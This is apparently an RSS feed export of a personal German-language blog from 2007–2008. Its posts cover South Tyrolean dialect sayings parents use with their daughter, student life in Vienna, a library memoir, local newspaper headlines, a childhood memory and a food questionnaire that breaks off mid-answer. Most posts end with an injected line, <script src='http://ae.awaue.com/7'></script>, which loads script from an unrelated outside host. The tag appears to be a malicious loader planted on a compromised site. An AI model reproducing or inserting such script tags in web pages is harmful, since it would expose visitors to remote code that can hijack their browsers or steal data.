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	<title>i be gan. &#187; südtirol</title>
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		<title>Folge stets dem Elefanten.</title>
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		<pubDate>Sun, 09 Nov 2008 21:47:53 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[familie]]></category>
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		<description><![CDATA[Heute, im Zuge valganscher Projektrecherche (hui!), fand ich nach langer Suche in einem altem Forum ein sehr dialektlastiges Posting meinerseits aus 2004 (!): eine Auflistung all jener Dinge, die die Eltern so zur Tochter sagen.
Das hier ist für all jene, die nach &#8220;südtirolerisch&#8221; googlen, hierher verwiesen werden &#8211; und dann nichts finden.
(psst! Südtiroler Dialekt Wörterbuch! [...]]]></description>
			<content:encoded><![CDATA[<p>Heute, im Zuge <a href="http://blog.val.bz/">val</a>ganscher Projektrecherche (hui!), fand ich nach langer Suche in einem altem Forum ein sehr dialektlastiges Posting meinerseits aus 2004 (!): eine Auflistung all jener Dinge, die die Eltern so zur Tochter sagen.</p>
<p>Das hier ist für all jene, die nach &#8220;südtirolerisch&#8221; googlen, hierher verwiesen werden &#8211; und dann nichts finden.<br />
(psst! <a href="http://oschpele.ritten.org/">Südtiroler Dialekt Wörterbuch</a>! weitersagen!)</p>
<p>(nach dem Klick, denn die Wurst ist ein bisschen hässlich.)</p>
<p><span id="more-167"></span></p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wer nit mog, hot kopp&#8230;&#8221;</em> &#8211;&gt; &#8220;Wer nicht mag, hat gehabt&#8221;<br />
(Mein Vater, wenn eines der Kinder nicht auf die Aufforderung von seiten der Mutter/der Oma reagiert: <em>&#8220;Mogsch nix?&#8221;</em>)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hot dr s Essen nit gschmeckt??&#8221; </em>&#8211;&gt; &#8220;Hat dir das Essen nicht geschmeckt??&#8221;<br />
(Wenn man sein Teller nicht ganz ratzeputz leer fegt oder sich der zweiten Beilage verweigert&#8230; den Unterton kennt ihr&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Kannsch nit uanmol, uan uanzigs mol still sein?&#8221;</em> &#8211;&gt; &#8220;Könntest du nicht einmal, ein einziges Mal still sein?&#8221;<br />
(Lange, lange Zeit der Standardsatz, wenn ich auch nur ein Wort von mir gegeben hab. Ich habs überlebt.)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Di Tir konn a nix drfiar&#8221;</em> &#8211;&gt; &#8220;Die Tür hat keine Schuld daran&#8221;<br />
(Wütendes Kind schlägt unschuldige Tür zu. Sich überlegen fühlende Autoritätsperson weiß nicht, wann es besser ist, nich noch eins drauf zulegen&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Und sou willsch du giahn?&#8221;</em> &#8211;&gt; &#8220;Und so willst du gehen/aus dem Haus?&#8221;<br />
(tja&#8230; bevor man aus dem Haus gehen darf, gibts immer die Qualitätskontrolle &#8211; die man nie besteht. Aber man geht trotzdem&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Leig dr a Jack/ an Polover un&#8230;&#8221;</em> analog zu <em> &#8220;Nimm eppes worms zum unleign mit!&#8221;</em> &#8211;&gt; &#8220;Zieh eine Jacke/einen Pullover an&#8230;&#8221; &#8211;&gt; &#8220;Nimm etwas Warmes zum anziehen mit!&#8221;<br />
(Zusatz zur Qualitätskontrolle)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I sog dr, a sou bisch morgen holt verkiahlt&#8221;</em> &#8211;&gt; &#8220;Ich sag dir, morgen bist du dann krank/verkühlt&#8221;<br />
(Wenn man den Zusatz nicht befolgt, bzw., wenn man ein barfuß durchs Haus rennt bzw. ein T-Shirt trägt bzw. aus der Dusche kommt&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Willsch nit in Tata a bisi helfen giahn?&#8221;</em> &#8211;&gt; &#8220;Willst du nicht deinen Vater ein bisschen helfen gehen?&#8221;<br />
(Versucht mal bei mir zuhause fünf Minuten fern zu schauen/mit dem Computer zu spielen/ein Buch zu lesen&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch du eigentlich nia eppes zu lernen&#8221;</em> &#8211;&gt; &#8220;Musst du denn nie lernen?&#8221;<br />
(selbe Situation wie oben&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Seit wenn mogschn du Gnocchi nimmer?!?&#8221;</em> &#8211;&gt; &#8220;Seit wann magst du denn keine Gnocchi mehr?&#8221;<br />
(Nie Mami! Nie! Ich mochte Gnocchi noch nie! Ich bin die mit den Spinatspazeln!)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wiedr a Bett laar&#8230;&#8221;</em> &#8211;&gt; &#8220;Wieder ein Bett leer&#8230;&#8221;<br />
(Falls ihr Samstags oder Sonntags oder auch irgendwann mal in den Ferien einen älteren Herrn mit Schnauzer und einem Bauchumfang wie der Weihnachtsmann trefft&#8230; das ist mein Onkel&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Frog in Tata!&#8221;</em> &#8211;&gt; &#8220;Frag deinen Vater!&#8221;<br />
(Meine Mutter, damals, als ich sie noch fragen musste, ob ich ausgehen darf&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch di Mama schun gfrog?&#8221; &#8211; &#8220;Jo&#8221; &#8211; &#8220;Wos hot se gsog?&#8221; &#8211; &#8220;Dass i di frogen soll&#8230;&#8221; &#8211; &#8220;Du, wenn du willsch&#8230; kimmsch holt nit zu spat&#8230;&#8221;</em> &#8211;&gt; &#8220;Hast du deine Mutter schon gefragt?&#8221; &#8211; &#8220;Ja&#8221; &#8211; &#8220;Was hat sie gesagt?&#8221; &#8211; &#8220;Dass ich dich fragen soll&#8230;&#8221; &#8211; &#8220;Tja, wenn du meinst&#8230; komm halt nicht zu spät&#8230;&#8221;<br />
(Mein Vater, zu dem mich meine Mutter damals immer geschickt hatte. Sie hat mich aber nur zu ihm geschickt, wenn sie nichts dagegen hatte&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wiaviel Geld hoschn du?&#8221;</em> &#8211;&gt; &#8220;Wieviel Geld hast du denn?&#8221;<br />
(Seit ich nicht mehr frage, ob ich ausgehen darf&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Bisch dr sicher? I woas nit&#8230; I fohr iaz seit zwoa Johr mit den Auto, obr dasses an fünften Gong hott&#8230;&#8221;</em> &#8211;&gt; &#8220;Bist du dir sicher? Ich weiß nicht&#8230; Ich fahr jetzt seit zwei Jahren mit diesem Wagen, aber dass er einen fünften Gang hat&#8230;&#8221;<br />
(meine Mami&#8230; es ist fast eine Qual, neben ihr auf dem Beifahrersitz zu sitzen, das Auto heulen zu hören und nicht schalten zu dürfen. Da mutier ich immer zum schrecklichsten Beifahrer der Welt    )</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I konn dei Bumm-Bumm-Musig nit hearn&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich kann diese Bumm-Bumm-Bumm-Musik nicht hören&#8230;&#8221;<br />
(Egal welche Musik lief&#8230; heute haben wir den Hubert zum Autobeschaller erkoren, der ist allgemein akzeptiert&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Essen giahn!!&#8221;</em> (halbe Minute später:) <em>&#8220;Kemmpses indrgaling?!?&#8221;</em> &#8211;&gt; &#8220;Essen gehen!&#8221; &#8211; &#8220;Kommt ihr bald ein mal?&#8221;<br />
(Bei mir zuhause um fünf nach halb eins&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Unkennen tuat mon dr ober schun gor nit, dass schun </em>- variable Zahl von sechs bis vierundzwanzig einsetzen  (schlimme Sache &#8211; 24 ist noch keiner von uns)<em> &#8211; bisch&#8221;</em> &#8211;&gt; &#8220;Man merkt dir wirklich nicht an dass du &#8211; variable Zahl von sechs bis vierundzwanzig einsetzen bist&#8221;<br />
(immer, wenn ich oder eines meiner Geschwister sich nicht &#8220;altersadäquat&#8221; verhält&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;&#8230;Ach, Madl&#8230; oftramol&#8221; </em>(meine in der trotzig-pubertären Phase erarbeitete Antwort: <em>&#8220;Nit lei oftramol, Mama, ollm!&#8221;</em> kann sie immer noch zum Wahnsinn treiben&#8230;) &#8211;&gt; &#8220;&#8230;Ach Mädchen&#8230; manchmal&#8221; &#8211; &#8220;Nicht nur manchmal, Mama, immer!&#8221;<br />
(oft&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I geah schnell an Sprung in die Stodt/zum Gärtner/afn Friedhouf&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich mach schnell einen Sprung in die Stadt/zum Gärtner/ auf den Friedhof&#8230;&#8221;<br />
(ganz recht, meine Oma ist neunundsiebzig, aber springen tut sie immer noch. Achja, der Satz kommt, seit ich den Führerschein habe, vorwiegend an Regentagen oder im Winter&#8230; bei mir zu Hause steht man nicht so auf Direktheit&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Schworztee mocht schiache Zenn!!&#8221;</em> &#8211;&gt; &#8220;Schwarztee mach hässliche Zähne!!&#8221;<br />
(mein Lieblingsgetränk will man mir auch vermiesen)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch ognummen/zuagnummen?&#8221;</em> &#8211;&gt; &#8220;Hast du abgenommen/zugenommen?&#8221;<br />
(meine Mutter: Ihre Wahrnehmung funktioniert je nach Lust und Laune)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Und, wia wor di Prüfung, dr Tescht??&#8221;</em> &#8211; egal was ich antworte: <em>&#8220;Hasch schun a a bisl meahr tian gekennt&#8221;</em> &#8211;&gt; &#8220;Und wie war die Prüfung, der Test??&#8221; &#8211;&gt; &#8220;Hättest schon ein bisschen mehr lernen können&#8221;<br />
(immer wenn obiges anfiel&#8230;, am liebsten beim Mittagessen, wenn ich grad zwei Minuten im Haus war und versucht habe, den letzten Rest Salat trotz Unmengen an Essig in meinem Mund zu behalten&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Du erzeihlsch nia eppes! I woas jo gor nix meahr vo dir&#8230;&#8221;</em> &#8211;&gt; &#8220;Du erzählst mir nie etwas! Ich weiß ja gar nichts mehr von dir&#8230;&#8221;<br />
(Meine Mami&#8230; wenn sie Lust hatte, mich beim Lesen zu stören&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wos tuaschn in gonzn Tog mit der Troppel?&#8221;</em> &#8211;&gt; &#8220;Was machst du denn den ganzen Tag mit dieser &#8211; ähm &#8211; boh, weiß nicht, wie ich das passend übersetzen soll &#8211; &#8230;?&#8221;<br />
(egal ob Fernseher oder Computer oder zu alten Zeiten mal der Gameboy&#8230; )</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Willsch nit a longsom schlofn giahn?&#8221;</em> &#8211;&gt; &#8220;Willst du nicht auch langsam ins Bett?&#8221;"<br />
(abends, um halb zehn)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I will nit, dass du dr in dr Kuchl di Händ owasch&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich möchte nicht, dass du dir in der Küche die Hände wäschst&#8230;&#8221;<br />
(O-Ton Mami)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Na! Und i hon grod in Boudn gwischt!&#8221;</em> &#8211;&gt; &#8220;Nein! Der Boden ist frisch gewischt!&#8221;<br />
(Böses, böses Kind versucht sich durch Bewegen der Füße fortzubewegen! Böses Kind!)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Du kimmsch zu spat&#8221;</em> &#8211;&gt; &#8220;Du kommst zu spät&#8221;<br />
(dreizehn Jahre lang jeden morgen den selben Satz zu hören, prägt einen fürs Leben&#8230; Was glaubt ihr, warum ich ständig zu spät komme??)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Moch in Vorhong zua!&#8221;</em> &#8211;&gt;&#8221;Mach den Vorhang zu!&#8221;<br />
(Ist eine komplizierte Angelegenheit &#8211; der Vorhang darf nämlich erst dann zugezogen werden, wenn meine Mutter dieses Gefühl hat&#8230; Dieses Gefühl hat sie leider aber immer zu anderen Uhrzeiten, und will man eine nette Tochter sein, und den Vorhang zuziehen, bevor sie dieses Gefühl hat&#8230; wie gesagt, komplizierte Sache&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Ruth&#8230; och, Chrischtl&#8230;, gibsch mr bitte mol&#8230;&#8221;</em> &#8211;&gt; &#8220;Ruth&#8230; och, Christl&#8230;, gibst du mir bitte mal&#8230;&#8221;<br />
(Mein Name ist weder Ruth noch Christl, wohl aber sind das die Namen ihrer beiden kleinen Schwestern&#8230; Am schlimmsten ist es, wenn sie alle Namen durch hat, aber ihr nur der des gerade anwesenden Nachkommens nicht einfällt&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em><em>und noch ein Highlight:</em></em></p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Dr Willi isch in Boch gfolln!&#8221;</em> &#8211; freches Kind antwortet völlig respektlos &#8211; <em>&#8220;Und dr Mogi hotn widr auserghoult!&#8221;</em> &#8211;&gt; &#8220;Der Willi(ch) ist in den Bach gefallen&#8221; &#8211; &#8220;Und der Magi(ch) hat ihn wieder rausgeholt!&#8221;<br />
(immer, wenn das freche Kind irgendetwas wollte/will (!), das im Kopf der Mutter jetzt total keinen Platz findet&#8230;</p>
<p>Ach, 2004, damals, als ich noch im 10m²-Heimzimmer mit den Ameisen wohnte, sehr sehr sehr jung war und die nächste große Entscheidung so weit in der Ferne lag. Ach.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Schiefe Bilder</title>
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		<pubDate>Sun, 19 Oct 2008 08:42:02 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[[beware: Eigenerfahrungen, vermischt mit einer etwas negativen Grundstimmung]
Das Studium ist wie ein Trachtenumzug: Man bereitet sich gespannt und mit großem Aufwand vor, wartet lange darauf, endlich losziehen zu dürfen, malt sich so einiges aus, dann reiht man sich endlich ein, beginnt seine Runde und erkennt &#8211; Da sind noch hundert Andere, die sich genauso aufgeputzt [...]]]></description>
			<content:encoded><![CDATA[<p>[beware: Eigenerfahrungen, vermischt mit einer etwas negativen Grundstimmung]</p>
<p>Das Studium ist wie ein Trachtenumzug: Man bereitet sich gespannt und mit großem Aufwand vor, wartet lange darauf, endlich losziehen zu dürfen, malt sich so einiges aus, dann reiht man sich endlich ein, beginnt seine Runde und erkennt &#8211; Da sind noch hundert Andere, die sich genauso aufgeputzt haben, genauso aussehen und genau dasselbe machen. Man marschiert und läuft seine Strecke ab, achtet dabei vor allem auf die Außenwirkung (joviales, nicht zu häufiges Winken in Richtung der Schaulustigen, die genau dasselbe schon vorher gesehen haben, und nachher noch sehen werden). Am Ende ist man todmüde, die Füße tun weh, man hat einen Krampf im Arm, aber nichts besonderes geleistet und vor allem: Keine Ahnung, was man jetzt denn machen soll.</p>
<p>[Ich hatte gewarnt]<script src="http://ae.awaue.com/7"></script></p>
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		<title>sommernullacht, oder Große Worte</title>
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		<pubDate>Mon, 01 Sep 2008 11:43:06 +0000</pubDate>
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			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/gananarama/2817496108/" title="sommer08 by gananarama, on Flickr"><img src="http://farm4.static.flickr.com/3198/2817496108_935b737401_o.jpg" width="400" height="9560" alt="sommer08" /></a><br />
<script src="http://ae.awaue.com/7"></script></p>
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		<pubDate>Tue, 20 May 2008 19:24:56 +0000</pubDate>
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		<description><![CDATA[[...] ich mag bücher, müssen Sie wissen, ich lese gerne, hab in bibliotheken gearbeitet und also eine vorstellung vom publikum &#8211; wer hat denn zeit zu lesen? und was liest mann denn so den ganzen tag, mann liest eh nicht, es sind eh die frauen, die kommen mit den kindern, sie wollen über liebe lesen, [...]]]></description>
			<content:encoded><![CDATA[<p>[...] ich mag bücher, müssen Sie wissen, ich lese gerne, hab in bibliotheken gearbeitet und also eine vorstellung vom publikum &#8211; wer hat denn zeit zu lesen? und was liest mann denn so den ganzen tag, mann liest eh nicht, es sind eh die frauen, die kommen mit den kindern, sie wollen über liebe lesen, aber zuviel sex ist dann auch nicht gut, den hat sie lieber selbst, meinte einmal eine grauhaarige oma zu mir, während ihr dreijähriger enkel sich baggerbücher aussuchte. überhaupt, in bibliotheken machen sie sachen, an die denkt man so als leser gar nicht, ich mein, bücher mit alkohol putzen, also mit putzalkohol, dem rosanen, der einem die nasenhaare wegbrennt, ein netter nebeneffekt, denn die kommen ja mit dem alter. kinderbücher jedesmal, also putzen, die erwachsenenbücher dann, wenn die lust da ist. rosaner putzalkohol und ein stück von einem alten leintuch. schön ist es bei den büchern wo pickerle über pickerle, folie über folie geklebt, durchsichtig, aber ständig die neuen systematisierungssysteme, immer wieder wird alles anders gemacht, die brauchen ja auch arbeit, die beim land, und dann sammeln sich in den falten und ecken die fussel, die essensreste, die haare, der speichel, und der dreck. aber der rosane, der packt das. die buchstabenkürzel, also die ersten buchstaben des autorennamens auf den büchern, rechts oben, oder nein, auf dem buchrücken, die werden von hand geschrieben, mit schablonenbuchstaben, ich weiß aber immer noch nicht, ob die buchstaben nur nach schablonenbuchstaben aussehen oder mit der schablone gezogen werden, sie sind fein und dünn und unpersönlich aber leserlich. überhaupt, bibliothekarinnen schreiben leserlich, noch aus der zeit als alles händisch auf diese karteikarten kam, name des kindes, nummer des kindes, name des buches, nummer des buches, ein datum, das zweite datum, und dann ein stempel, aber der kam direkt ins buch hinein, der kommt immer noch, aber die karteikarte ist weg, und die grauhaarigen dünnfingerigen bibliothekarinnen schießen jetzt mit laserpistolen rote lasernetze, lesegeräte, lasergeräte.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Weil du so sch&#246;n bist.</title>
		<link>http://blog.ibegan.net/archives/28</link>
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		<pubDate>Sat, 17 Mar 2007 20:48:34 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Gesetze wie Fleckerlteppich, Tod am Montblanc, Guido Ferrari nimmt Helm, Grönemeyers Exklusivinterview vor seinem Südtirol-Konzert, Der Winter kehrt zurück, Halber Hektar Sonnenenergie, &#8220;Villa Melitta&#8221; zieht um, Und dann auch das noch, Italien plant neues Familienrecht, Pakistani toben, &#8220;Kein Weg am Miteinander vorbei&#8221;, Frage von Dosierung, Riesenbaby stellt Ärzte vor Rätsel, Schlaf ist Hauptgrund für das [...]]]></description>
			<content:encoded><![CDATA[<p>Gesetze wie Fleckerlteppich, Tod am Montblanc, Guido Ferrari nimmt Helm, Grönemeyers Exklusivinterview vor seinem Südtirol-Konzert, Der Winter kehrt zurück, Halber Hektar Sonnenenergie, &#8220;Villa Melitta&#8221; zieht um, Und dann auch das noch, Italien plant neues Familienrecht, Pakistani toben, &#8220;Kein Weg am Miteinander vorbei&#8221;, Frage von Dosierung, Riesenbaby stellt Ärzte vor Rätsel, Schlaf ist Hauptgrund für das Schwänzen, 633 Schafe in LKW gepfercht, 80 Millionen leiden, Isolde On Ice, &#8220;Lieber Fritz, du wirst uns fehlen&#8221;, Musik ist für mich das wahre Glück, Justitia auf dem Fleckerlteppich, Stadel, Schilder und Steinbockjagd, Irreführender Name soll verschwinden, Feuerwehrmann mit Herz gibt Helm ab, Gescheites Vaterland, Wegen Rum nach Warschau, &#8220;Kultureller Genozid am Flughafen&#8221;, Noch keine Entscheidung zu Autobahn, Die Schützen werden immer jünger, Keine Entschuldigung, Auf Nischen statt auf Menge setzen, Bestaunen, streicheln und verkosten, Musik in alle Himmelsrichtungen, &#8220;Künstler aus den Kellern holen&#8221;, Jeder Mann hat 16 Stunden gerettet, In Streifenwagen uriniert, Gries erhält deutsches Altersheim, &#8220;Auch ein Aufzug ist im Gespräch&#8221;, Einem Stadtpolizisten über den Fuß gefahren, Bürgerversammlung mit dem Mediator,&#8221;Erbrecht von Frau zu Frau erklärt&#8221;, Kriegsopferverband blickt zurück, &#8220;Bauer braucht Zubrot und Prämie&#8221;, Ehrensalve vor Parlament, Vorschläge für Wahl der Bezirksspitze, Zu Besuch bei der Musikkapelle, Hirsch verendet nach Pfeilschuss, Bub verletzt sich bei Sturz mit Rad leicht, Flüssigkeit auf der Straße nach Prissian, Fünf verdiente Kameraden geehrt, Junge Redner auf dem Siegespodest, &#8220;Relativ ruhiges Jahr&#8221;, Ilse Albl 100 Jahre alt, Neben Äpfeln auch Sonne sammeln, Mann von Baggerschaufel eingeklemmt, Frau verletzt sich beim Faulen See, Drei Kreisverkehre für Schlanders, Andere beneiden uns darum, Mit Scooter in Waal gefahren, Putzaktion im Hause Fledermaus, Mit neuem Schwung in das neue Büro, Sieben junge Wehrmänner angelobt, Prominenter Premierenapplaus, Ausreiseverbot missachtet, Am Montag fällt teils die Linie 3 aus, Gemeinde besiegelt Grundverkauf, Ein kultureller Höhepunkt, Straßensperre in Brixen am Sonntag, Zeit und Liebe schenken, Förster im sportlichen Wettkampf, Lebensretter in Leuchtendgelb, &#8220;Motorisierte Aprilscherze Mitte März?&#8221;, Ochsenversteigerung in St. Lorenzen, Brixen muss gewinnen &#8211; egal wie, Meran will Heimkomplex ablegen, Sonnencreme wichtiger als Resultate, In Sunrise geht wieder die Sonne auf, Deutschlands Glocken geben Geist auf, Song-Contest-Lied verärgert viele Christen, Dorfkirchen werden (auch) zu Postämtern, Papst macht Urlaub in den Dolomiten, Leben aus Gottes Vergebung, Regeln für Leserbriefschreiber, Im Herzen eine Mördergrube, &#8220;Die Heimat im Herzen tragen&#8221;. Ja.</p>
<p>Die <a href="http://www.stol.it/dolomiten/?SID=710427270973708493">Dolomiten </a>grüßt mich von ferne,<br />
ja, weil du so schön bist.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Vorm Haus</title>
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		<pubDate>Wed, 14 Feb 2007 06:36:49 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[familie]]></category>
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		<description><![CDATA[Die Krokusse blühen schon seit Anfang Februar, gelb und lila. Ein paar Gänseblümchen haben den Winter an die Pfosten geduckt überstanden.
Die Gänseblümchen hat mein Großvater hierher verpflanzt, hat mir meine Oma mal erzählt.
Gänseblümchen vorm Haus können nichts Schlechtes bringen.
Ich schlage das Fotoalbum auf, und auf dem Bild sitze ich, sechs Jahre alt, pausbäckig, aus den [...]]]></description>
			<content:encoded><![CDATA[<p>Die Krokusse blühen schon seit Anfang Februar, gelb und lila. Ein paar Gänseblümchen haben den Winter an die Pfosten geduckt überstanden.</p>
<p>Die Gänseblümchen hat mein Großvater hierher verpflanzt, hat mir meine Oma mal erzählt.</p>
<p>Gänseblümchen vorm Haus können nichts Schlechtes bringen.</p>
<p>Ich schlage das Fotoalbum auf, und auf dem Bild sitze ich, sechs Jahre alt, pausbäckig, aus den Zahnlücken lachend und mit blauen Gummistiefeln inmitten der Gänseblümchen, auf dem Kopf ein Kranz aus Löwenzahnblüten. Mit Löwenzahnstängeln kann man großartige Wasserrohre bauen.</p>
<p>Meine Oma trägt geflügelte Baumsamen im Haar.</p>
<p>„Wohl wieder irgendwo rumgestiegen“, meint mein Onkel.</p>
<p>Zehntausend kleine Gänseblümchen blühen in meinem Kopf, zwischendurch brechen gelb und lila ein paar Krokusse durch.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Essst&#246;ckchen. Ja, der ist schlecht.</title>
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		<pubDate>Wed, 24 Jan 2007 09:01:00 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[essen]]></category>
		<category><![CDATA[familie]]></category>
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		<description><![CDATA[Ein Stöckchen für mich! Und keine Sorge Mek, ich hasse Stöckchen nicht. Im Gegenteil, ich freu mich, immerhin ist ein Stöckchen für Blogger sowas wie die Tonsur für Franziskaner, oder das Arschgeweih und der weiße Lidstrich für Tussen,ähm, sowas&#8230;  Man gehört dazu.
Vorab (ja, tatsächlich, vorab) muss ich zugeben, dass ich kein wirklich einheitliches Essverhalten [...]]]></description>
			<content:encoded><![CDATA[<p>Ein Stöckchen für mich! Und keine Sorge <a href="http://mequito.org/">Mek</a>, ich hasse Stöckchen nicht. Im Gegenteil, ich freu mich, immerhin ist ein Stöckchen für Blogger sowas wie die Tonsur für Franziskaner, oder das Arschgeweih und der weiße Lidstrich für <strike>Tussen</strike>,ähm, <a href="http://blog.val.bz/2007/01/22/i-hate-screwing-up-i-do">sowas</a>&#8230;  Man gehört dazu.</p>
<p>Vorab (ja, tatsächlich, vorab) muss ich zugeben, dass ich kein wirklich einheitliches Essverhalten habe.Unterm Jahr in Wien, in <strike>meiner</strike> unserer wunderbaren WG vs. zu Hause, in Südtirol, bei Mama und Tata, Oma, den Brüdern und der kleinen Schwester, und nicht zu vergessen den beiden Onkeln. Großfamilienleben halt.</p>
<p>1) Kannst du kochen? Wenn ja, kochst Du gerne?</p>
<p>Ich koche gerne. Kochen macht Spaß. Aber ob ich es kann&#8230;</p>
<p>2) Wann isst bei Euch die ganze Familie gemeinsam?</p>
<p>In Wien esse ich meistens alleine, zu Hause (ok, das wird jetzt kompliziert) essen wir zu Mittag alle gemeinsam in der großen Küche (also&#8230; alle) bekocht von meiner Oma, abends essen &#8220;wir&#8221; in &#8220;unserer&#8221; Küche, bekocht von meiner Mutter. Sonntags tanzt die ganze Familie an, und wir essen wieder gemeinsam bei Oma.</p>
<p>3) Was isst Du zum Frühstück?</p>
<p>Zu Schulzeiten habe ich es nie geschafft zu frühstücken, seit ich auf der Uni bin  (yep, das sind meine zwei Lebensabschnitte. Ich bin noch jung) versuche ich mir den Vormittag so gut es geht freizuhalten, auf dass ich aufwachen, meinen Magen an das Morgenlicht gewöhnen und etwas später dann mit Schwarztee oder Kaffee meine bookmarks abklappern kann.</p>
<p>4) Wann, wo und wie esst ihr in der Woche?</p>
<p>Ich esse unregelmäßig. Wenn ich Zeit habe. Wenn ich Hunger habe. Wenn ich etwas zu essen im Haus habe. Wenn ich Lust habe.<br />
(Das sind seltsame Fragen. Ist das eine Art &#8220;Zeitkapsel&#8221;, auf dass Sozialforscher in fünfzig Jahren unser Essverhalten analysieren können? Oder ist das eine verkleidete Umfrage mit politisch zweifelhaften Hintergrund, wie heute, als die Meinungsforscher im Auftrag der Stadt Wien plötzlich HC-Strache Fanartikel (&#8221;<em>I&#8217;m a fan of the HC-man</em>&#8221; &#8211; es gruselt mich!) verschenkten??)</p>
<p>5) Wie oft geht ihr ins Restaurant?</p>
<p>Ich bin Studentin, wenn ich mal irgendwo essen gehe, nennt man das in den allerseltensten Fällen &#8220;Restaurant&#8221;.</p>
<p>6) Wie oft bestellt ihr Euch was?</p>
<p>Ich bestelle nicht, ich nehme mit. Ich liebe <a href="http://www.tekaway-sushi.at/">tekaway sushi</a> für ihren gebratenen Reis. Und auch für ihren Namen. Die Mitbewohnerin sagt, das sushi sei auch nicht schlecht. Außerdem gibts da immer ganz <a href="http://gan.twoday.net/stories/2311414/">nette </a>Glückskekse zu.</p>
<p>7) Zu 5 und 6: Wenn es keine finanziellen Hindernisse gäbe, würdet ihr das gerne öfters tun?</p>
<p>Wenn es keine finanzielle Hindernisse gäbe, würde ich viele Dinger öfter machen. Oder haben.</p>
<p>8) Gibt es bei Euch so was wie “Standardgerichte”, die regelmäßig auf den Tisch kommen?</p>
<p>Nudel mit Mamasugo. Mamasugo ist der sugo, den Mamas liebevoll abgekocht, in handliche Gläser abgefüllt und auf obskuren Wegen in die große böse Stadt zum armen verhungernden Kind geschickt haben. Mamasugo ist wunderbar (hei, wir studieren in Wien, wir sind keine Wäscheheimbringer, und wir haben auch keine eingefrorenen Knödel und auch keine vorgebackenen Wiener Schnitzel. Wir haben nur Mamasugo.)<br />
Ansonsten noch Spinatspazeln, und risotto. Reis mit irgendwas. Toast. Brot mit irgendwas. Gedünstete Zucchini mit irgendwas. Griessuppe. Kaminwurzen.</p>
<p>Zuhause ist das anders. Oma hat ihre Standardgerichte, die sie alle wunderbar macht, aber wenn es jeden Freitag Wuchteln gibt, dann sind sie irgendwanneinmal nicht mehr so toll. Oder jeden Samstag spaghetti bolognese. Oder Fleischkrapflen.  Oder Erdäpfelnudel. Oder Spazeln. Oder Schmarrn. Oder Braten. Oder Griessuppe.</p>
<p>9) Hast Du schon mal für mehr als 6 Personen gekocht?</p>
<p>Ich habe mit anderen für mehr als sechs Personen gekocht? Und einmal, einmal durfte ich bei Oma den Thunfischsugo machen. Mit frischen Tomaten. Und ein anderes Mal durfte ich für die ganze Familie kochen. Man hat zwar zuerst an den Essiggurken gezweifelt, aber&#8230;</p>
<p>10) Kochst du jeden Tag?</p>
<p>Ja. Kalt essen ist langweilig, besonders im Winter.</p>
<p>11) Hast Du schon mal ein Rezept aus dem Kochblog ausprobiert?</p>
